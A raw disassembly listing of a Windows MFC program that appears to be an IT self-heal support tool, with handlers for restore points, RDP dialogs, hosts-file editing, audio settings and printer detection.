call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xfc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xfd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xfd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x800]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x808]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x810]
jmp 0x14009e536
mulss xmm6, dword [0x140171b1c]
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
movq r8, xmm2
lea rdx, [0x14016bf38]
call qword [sym.imp.mfc140u.dll_CMFCZoomKernel::Filter]
xor r8d, r8d
lea rdx, [0x14016279c]
lea rcx, [rsp + 0x158]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
lea r8d, [rax + 3]
lea rdx, [rsp + 0xfe0]
lea rcx, [rsp + 0x158]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x158]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xfe0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str._GB._click_on_NEXT_STEP
lea rcx, [rsp + 0x828]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str._is
lea rcx, [rsp + 0x820]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [0x14016c7a8]
lea rcx, [rsp + 0x818]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x818]
lea rcx, [rsp + 0x1000]
call fcn.140006490
nop
lea r8, [rsp + 0x820]
mov rdx, rax
lea rcx, [rsp + 0xff8]
call fcn.140006490
nop
lea r8, [rsp + 0x158]
mov rdx, rax
lea rcx, [rsp + 0xff0]
call fcn.140006490
nop
lea r8, [rsp + 0x828]
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [0x1401e96b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0xfe8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xff0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xff8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1000]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x818]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x820]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x828]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x430]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x158]
jmp 0x14009cc67
xor r8d, r8d
lea rdx, str.createRestorePoint
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009e72d
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x300]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x300]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1008]
lea rcx, [rsp + 0x300]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x300]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1008]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0x830]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x1018]
call fcn.1400fe460
nop
lea r8, [rsp + 0x830]
mov rdx, rax
lea rcx, [rsp + 0x1010]
call fcn.140006490
nop
lea r8, [rsp + 0x300]
mov rdx, rax
lea rcx, [rsp + 0x840]
call fcn.140006490
nop
lea rcx, [rsp + 0x1010]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1018]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x830]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x14016c7f8]
lea rcx, [rsp + 0x838]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x840]
lea rdx, [rsp + 0x838]
lea rcx, [rsp + 0x1020]
call fcn.140006490
mov rcx, rax
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov r9, rax
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x1020]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x838]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov ecx, 0x2ee0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rsp + 0x840]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x300]
jmp 0x14009d7a2
lea rdx, str.IsRegistryKeyExists
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009e938
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x5c8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1028]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1028]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1030]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1030]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14016c678]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
mov r8d, eax
lea rdx, [rsp + 0x1038]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x5c8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1038]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x1040]
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1040]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x1048]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0x1048]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, [rsp + 0x5c8]
lea rcx, [rsp + 0x1050]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov rdx, rbx
mov rcx, rax
call fcn.1400f97a0
movzx esi, al
lea rcx, [rsp + 0x5c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x5c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x118]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.AssigningIP
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009e998
xor edx, edx
lea rcx, [rsp + 0x39d0]
call fcn.1400130c0
nop
lea rcx, [rsp + 0x39d0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
cmp eax, 1
jne 0x14009e978
movzx esi, al
jmp 0x14009e986
movzx esi, sil
xor r14d, r14d
cmp eax, 2
cmove esi, r14d
lea rcx, [rsp + 0x39d0]
call fcn.140013160
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.UserEnvironmentVariables
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009e9f7
xor edx, edx
lea rcx, [rsp + 0x36a0]
call fcn.140049a70
nop
lea rcx, [rsp + 0x36a0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test eax, eax
jne 0x14009e9d7
mov sil, 1
jmp 0x14009e9e5
movzx esi, sil
xor r14d, r14d
cmp eax, 2
cmove esi, r14d
lea rcx, [rsp + 0x36a0]
call fcn.140049b40
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.ShowRDPDialog
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009eb2d
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x308]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1058]
lea rcx, [rsp + 0x308]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x308]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1058]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str.hidecertificatefix
lea rcx, [rsp + 0x308]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor edx, edx
test eax, eax
js 0x14009eaee
lea rcx, [rsp + 0x2f40]
call fcn.1400c78f0
nop
mov byte [rsp + 0x30b0], 0
lea rcx, [rsp + 0x2f40]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
nop
lea rcx, [rsp + 0x2f40]
jmp 0x14009eb1a
lea rcx, [rsp + 0x2ce0]
call fcn.1400c78f0
nop
mov byte [rsp + 0x2e50], 1
lea rcx, [rsp + 0x2ce0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
nop
lea rcx, [rsp + 0x2ce0]
call fcn.1400c7950
nop
lea rcx, [rsp + 0x308]
jmp 0x14009cc67
lea rdx, str.hostfileDlg
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
xor r8d, r8d
lea rcx, [rsp + 0x50]
test eax, eax
js 0x14009edcf
lea rdx, [0x14015eb18]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x310]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x1060]
lea rcx, [rsp + 0x310]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x310]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1060]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor dil, dil
xor edx, edx
lea rcx, [rsp + 0x27e0]
call fcn.140077f40
nop
lea rdx, str.NoDialog
lea rcx, [rsp + 0x310]
call fcn.14000d8d0
test al, al
je 0x14009ec06
mov byte [rsp + 0x2960], 1
mov dil, 1
lea rdx, str.Host.txt
lea rcx, [rsp + 0x858]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.AnakageCoursesAnakageFilesSelfHealSolutions
lea rcx, [rsp + 0x850]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
call sub.mfc140u.dll_AfxFieldText
mov rdx, qword [rax + 8]
add rdx, 0x3b8
lea rcx, [rsp + 0x848]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x1080]
call fcn.140101410
nop
lea r8, [rsp + 0x850]
mov rdx, rax
lea rcx, [rsp + 0x1078]
call fcn.140006490
nop
lea r8, [rsp + 0x848]
mov rdx, rax
lea rcx, [rsp + 0x1070]
call fcn.140006490
mov rbx, rax
call sub.mfc140u.dll_AfxFieldText
mov r8, qword [rax + 8]
mov r8, qword [r8 + 0x90]
mov rdx, rbx
lea rcx, [rsp + 0x1068]
call fcn.14007b460
nop
lea r8, [rsp + 0x858]
mov rdx, rax
lea rcx, [rsp + 0x5d0]
call fcn.140006490
nop
lea rcx, [rsp + 0x1068]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1070]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1078]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1080]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x848]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x850]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x858]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x1088]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x27e0]
call fcn.140079570
lea rcx, [rsp + 0x5d0]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test dil, dil
jne 0x14009ed9f
lea rcx, [rsp + 0x27e0]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
mov rcx, rax
mov al, 1
test ecx, ecx
jne 0x14009ed92
movzx esi, al
jmp 0x14009ed9f
movzx esi, al
xor r14d, r14d
cmp ecx, 2
cmove esi, r14d
lea rcx, [rsp + 0x5d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x27e0]
call fcn.140077fd0
nop
lea rcx, [rsp + 0x310]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
lea rdx, str.SelectZipFile
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f17e
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
mov edi, 1
mov dword [rsp + 0x40], edi
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
mov edx, edi
lea rcx, [rsp + 0xeb90]
call sub.mfc140u.dll_CEnumConnections::CEnumConnections
nop
lea rcx, [rsp + 0xeb90]
call sub.mfc140u.dll_CD2DRadialGradientBrush::Detach
cmp rax, rdi
jne 0x14009ee74
lea rdx, [rsp + 0x1090]
lea rcx, [rsp + 0xeb90]
call sub.mfc140u.dll_Ordinal_6090
nop
mov rdx, rax
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1090]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + reloc.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_CFileDialog::SetTemplate]
mov rdx, rax
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x10d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
mov ebx, eax
mov edx, 0x5c
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_COleControl::ReleaseCaches]
mov edi, eax
sub ebx, eax
lea r8d, [rbx - 1]
lea rdx, [rsp + 0x5d8]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov r8d, edi
lea rdx, [rsp + 0x1098]
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x1098]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, str..zip
lea rcx, [rsp + 0x5d8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f12d
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0x318]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x10a0]
lea rcx, [rsp + 0x318]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x318]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x10a0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [0x140166320]
lea rcx, [rsp + 0x860]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rcx, [rsp + 0x10b0]
call fcn.1400fe460
nop
lea r8, [rsp + 0x860]
mov rdx, rax
lea rcx, [rsp + 0x10a8]
call fcn.140006490
nop
lea r8, [rsp + 0x318]
mov rdx, rax
lea rcx, [rsp + 0x870]
call fcn.140006490
nop
lea rcx, [rsp + 0x10a8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x10b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x860]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rax, [rsp + 0x10b8]
mov qword [rsp + 0x58], rax
lea rdx, [0x14014fcf8]
lea rcx, [rsp + 0x868]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x868]
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x10c8]
call fcn.140006490
nop
lea r8, [rsp + 0x5d8]
mov rdx, rax
lea rcx, [rsp + 0x10b8]
call fcn.140006490
mov rbx, rax
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0x10c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1400f59c0
nop
lea rcx, [rsp + 0x10c8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x868]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov sil, 1
lea rcx, [rsp + 0x870]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x318]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x14009f130
xor sil, sil
lea rcx, [rsp + 0x5d8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x10d0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xe0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xeb90]
call sub.mfc140u.dll_CDockingPanesRow::CDockingPanesRow
nop
lea rcx, [rsp + reloc.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.controlAudioSettings
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f1df
lea rcx, [rsp + 0x79]
call fcn.1400143c0
nop
mov dl, 1
lea rcx, [rsp + 0x79]
call fcn.140014720
mov ebx, eax
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x79]
call fcn.140014a20
cmp ebx, 1
ja 0x14009f1cd
test eax, eax
jne 0x14009f1cd
mov sil, 1
jmp 0x14009f1d0
xor sil, sil
lea rcx, [rsp + 0x79]
call fcn.1400143d0
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.negativeControlAudioSettings
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f242
lea rcx, [rsp + 0x7a]
call fcn.1400143c0
nop
xor edx, edx
lea rcx, [rsp + 0x7a]
call fcn.140014720
mov ebx, eax
mov r8b, 1
movzx edx, r8b
lea rcx, [rsp + 0x7a]
call fcn.140014a20
cmp ebx, 1
ja 0x14009f230
test eax, eax
jne 0x14009f230
mov sil, 1
jmp 0x14009f233
xor sil, sil
lea rcx, [rsp + 0x7a]
call fcn.1400143d0
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.Determinedefaultprinter
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x14009f809
lea rcx, [rsp + 0x5e8]
call fcn.140101410
nop
lea rdx, str.printer.txt
lea rcx, [rsp + 0x878]
